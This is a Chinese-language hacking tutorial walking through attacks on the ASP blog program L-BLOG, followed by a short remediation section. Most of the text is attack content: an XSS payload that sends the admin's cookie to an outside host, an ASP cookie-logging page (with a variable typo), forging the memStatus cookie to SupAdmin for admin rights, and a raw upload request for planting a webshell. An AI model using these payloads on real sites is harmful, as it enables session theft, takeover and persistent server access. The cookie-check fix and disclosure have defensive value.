炸开L-BLOG程序大门

作者:HaK_BaN[B.C.T] 来源:http://www.cnbct.org

首先说说的是什么是blog(博客)?因为很多人都不知道blog是什么?就算看完了这篇文章都不明白,所以浪费一些篇幅希望编辑不要删除!谢谢
释义:
网络出版(Web Publishing)、发表和张贴(Post——这个字当名词用时就是指张贴的文章)文章是个急速成长的网络活动,现在甚至出现了一个用来指称这种网络出版和发表文章的专有名词——Weblog,或Blog。一个Blog就是一个网页,它通常是由简短且经常更新的Post所构成;这些张贴的文章都按照年份和日期排列。Blog的内容和目的有很大的不同,从对其他网站的超级链接和评论,有关公司、个人、构想的新闻到日记、照片、诗歌、散文,甚至科幻小说的发表或张贴都有。许多Blogs是个人心中所想之事情的发表,其它Blogs则是一群人基于某个特定主题或共同利益领域的集体创作。Blog好象对网络传达的实时讯息。撰写这些Weblog或Blog的人就叫做Blogger或Blog writer。在网络上发表Blog的构想使于1998年,但到了2000年才真正开始流行。起初,Bloggers将其每天浏览网站的心得和意见记录下来,并予以公开,来给其它人参考和遵循。但随着Blogging快速扩张,它的目的与最初已相去甚远。目前网络上数以千计的 Bloggers发表和张贴Blog的目的有很大的差异。不过,由于沟通方式比电子邮件、讨论群组更简单和容易,Blog已成为家庭、公司、部门和团队之间越来越盛行的沟通工具,因为它也逐渐被应用在企业内部网络(Intranet)。
现在在网络上使用的blog程序大致分为多用户和单用户两个版本,ASP的Blog程序以及版本都比较多,自然而然的就会存在着各种各样的漏洞啊!现在主流的ASP Blog程序有以下几种:

1.L-BLOG (Loveyuki编写的ASP+ACCESS架构),这个程序的修改以及美化版本N多
2.O-BLOG(叶开编写的ASP+ACCESS/SQL架构多用户)
3.Misslong(多用户版本)
4.theanswer‘s blog(外国开源网站项目程序,代码谨慎简洁)
5.SIC’s blog(L-BLOG的修改版本,安全性能都比原作强)
6.Dlong(猪飞飞编写的程序属于比较早的blog程序,停止开发了)

我就拿L-BLOG程序来进行分析!看看我们的L-BLOG有多少问题?

一.L-BLOG程序漏洞.(跨站式脚本漏洞)
使用最广的程序就会有更多的漏洞存在,我们L-BLOG程序也是一样啊!!首先看看的就是基本的漏洞跨站式脚本漏洞,在Member.asp/favorite.asp/bloglinks.asp页面里面发现,作者并没有为了防止跨站脚本的漏洞,所以完全没有过滤到任何的敏感字符,借此我们就可以进行COOKIE的盗取,以及对于BLOG的破坏了!
我们就拿Member.asp页面的“个人主页”栏目设置作为例子,我们发现只要输入特定恶意代码,这样子就可以拿到管理员的COOKIE或者进行破坏!例如:<script>alert("TEST.BY.H4K_B4N");</script>在个人主页栏目的时候

当管理员或者其他用户查看我们设定的帐号资料的时候,代码的就会启动,这样子就完成了跨展脚本的攻击了!

在三个页面当中危害性最大的就是bloglinks.asp添加连接页面,只要在申请连接的地址输入恶意代码,就可以直接拿到管理员的COOKIE了,因为每个连接都需要经过管理员的审核才可以,这样子每当管理员登陆admincp.asp管理后台的相关页面就会启动代码从而得到我们需要的COOKIE了!
代码如下:
<script> document.location='http://yoursite.com/cookie.asp?'%2Bdocument.cookie
</script>

COOKIE页面代码:
<%
Testfile=server.mappath("info.txt")
Msg=request.servervariables("QUERY_STRING")
Set fs=server.createobject("scripting.filesystemobject")
Set thisfile=fs.opentextfile(testfile,8,true,0)
Thidfile.writeline(""&msg&"")
Thisfile.close
Set fs=nothing
%>
利用以上的代码,我们就可以很轻松的拿到管理员的COOKIE资料,进行进一步的入侵了。

(COOKIE欺骗漏洞)
之前我们说了关于跨站式脚本漏洞的实现,如果我们拿到了COOKIE,可以去跑密码,因为COOKIE保留了管理员的密码,这样子就可以拿到前台以及后台的管理员权限了(如果你的主机或者是肉鸡超级强的话,我建议你去跑啊!要是我才不干啊!)如果密码没有跑出来哪怎么办啊?放弃啊?我们可以试试利用COOKIE欺骗来得到前台管理员权限和webshell
(只针对1.08(SE)以下没有打补丁的版本/修改版本)
首先就是利用老兵的Cookies&Inject Browser去访问网站,这样子我们就可以拿到L-BLOG程序的用户Cookie了,从而我们可以借用修改得到前台的管理员权限。

利用快速注册,我们很快的就拿到了用户COOKIE,然后我们需要把L-BLOG的COOKIE资料进行修改,从而进行COOKIE欺骗。
COOKIE如下:(以下的COOKIE进过删减)
guoming(cookie保存的名称)=memLastpost=2005%2D1%2D7+21%3A24%3A21
&memPassword=E05CDD2E1AB4BF0AAE6A8E02217C234C(我们帐号的密码)
&memStatus=Member(我们的等级或者权限)&memName=h4k%5Fb4n(用户名称)
而我们需要修改的参数就是关于我们权限的部分,首先我们把 memStatus=Member修改为SupAdmin。但是为什么要修改为这个了?经过查看L-BLOG的数据库我们可以看到管理员的memStatus是SupAdmin。

所以为了得到管理员的权限我们必需把Member修改为SupAdmin,这样子我们就可以得到前台管理权限。保存好我们修改的COOKIE后,刷新网页我们就可以看到结果。

而漏洞的起因我们可以看看commond.asp的代码,代码如下:
Dim memName,memPassword,memStatus
memName=CheckStr(Request.Cookies(CookieName)("memName"))
memPassword=CheckStr(Request.Cookies(CookieName)("memPassword"))
memStatus=CheckStr(Request.Cookies(CookieName)("memStatus"))
看memStatus是从Cookies里读出来的。
L-BLOG登陆的时候
普通用户给Request.Cookies(CookieName)("memStatus")赋了Member
超级管理员给Request.Cookies(CookieName)("memStatus")赋了SupAdmin
而前台的权限判断是根据memStatus的值,而memStatus的值,是从Request.Cookies(CookieName)("memStatus")里读出来的,所以我们将memStatus=Member改成memStatus=SupAdmin这样就获得了L-BLOG的前台的管理员权限了。

(上传漏洞)
如果我们拿到了管理员权限之后,我们为了要扩大控制。就必须要得到BLOG的webshell,在发表日志的功能模块我们可以找到上传的选项,从而就可以上传webshell,首先我们必须要拿到L-BLOG上传的封包信息,还有COOKIE这样子就可以进行提交了!
封包信息如下:
POST /attachment.asp?action=upload HTTP/1.1
Cookie: ASPSESSIONIDQCRQSADR=KLPPKDNCPKCKFOGJIBBFOIAN; guoming=memPassword=E05CDD2E1AB4BF0AAE6A8E02217C234C&memLastpost=2005%2D1%2D7+21%3A24%3A21&memStatus=SupAdmin&memName=h4k%5Fb4n
—————————–7d53a9b5607f0
Content-Disposition: form-data; name="File"; filename="C:\Documents and Settings\Administrator\My Documents\xxx\1.jpg"
Content-Type: image/pjpeg
从上面的信息我们得到分析就是上传的页面是attachment.asp?action=upload,文件字段为name="File",所以在使用工具的时候注意这两点进行设置,要不然弄不上去就不要说我骗人啊!我们用老兵的上传工具进行示范。

如图,我们可以看到webshelll,已经弄上去了!哈哈哈这样子BLOG的漏洞就基本上完全被我们榨干了,顺便要说的是webshell上去之后会出现乱码的情况,是因为L-BLOG采用UTF-8的编码所以出现代码乱码而已!

只要我们把webshell修改了编码就可以完全避免这个问题的发上了!!!

漏洞的修复;
COOKIE的修复方法的原理就是将admin用户组手工删除,只给指定用户用户管理权限。
步骤:(指定用户指的是blog的管理员帐号
第一default.asp文件里,
找到Sub MemberCenter ''用户中心 下面。
将IF memStatus="SupAdmin" 改成 memName=指定用户
然后将后面的 ElseIF memStatus="Admin" Then
Response.Write("<a href=""blogpost.asp""><img src=""images/icon_newblog.gif""/ align=""absmiddle"" border=""0""> "&S_Post_New&"</a><br>") 删除;

第二blogpost.asp文件里,
开头<%IF memStatus<>"Admin" AND memStatus<>"SupAdmin" Then%>
改成<%IF memName<>指定用户 Then%>

第三attachment.asp文件,
将<%IF memStatus="SupAdmin" OR memStatus="Admin" Then改成
<%IF memName=指定用户 Then

第四admincp.asp文件
将<%IF memStatus<>"SupAdmin" Then%>改成
<%IF memName<>指定用户 Then %>

我想大概的意思你一定明白了,
就是将memStatus="SupAdmin" 或者 memStatus="Admin" 用 memName=指定用户 就可以了,
如果有多人用的话,就改成memName=指定用户 or memName=指定用户1 or memName=指定用户2

注意:
如果是<>关系的话,多用户用and连接
如果是=关系的话,多用户用or连接
这样子BLOG程序的COOKIE漏洞就已经可以避免了,而上传以及跨站式脚本攻击的漏洞官方网站以及提供了补丁下载,我在这里就不再一一解释了!

关于其他BLOG程序的漏洞
因为篇幅的问题本来还想把其他的BLOG程序的漏洞详细的告诉大家的,现在只好说说大概吧,剩下的BLOG有部分存在着暴库以及上传过滤不严等等的漏洞,希望正在使用这些blog程序的用户到这些程序的官方网站下载最新的补丁,避免BLOG受到攻击。
文章到此就已经完全的结束,这篇文章不是为了让大家知道如何去攻击L-BLOG是希望大家在看的过程当中,要知道每个程序可能会存在着什么漏洞什么起因,从而进行修复或者引起注意。在使用程序的过程中,不但要懂得如何去利用,也需要在懂得利用的前提下去发现漏洞,去发现问题的所在。在此感谢淇淇小子以及永不放弃的帮助,文章如有错误请指出,谢谢。

相关日志

发表评论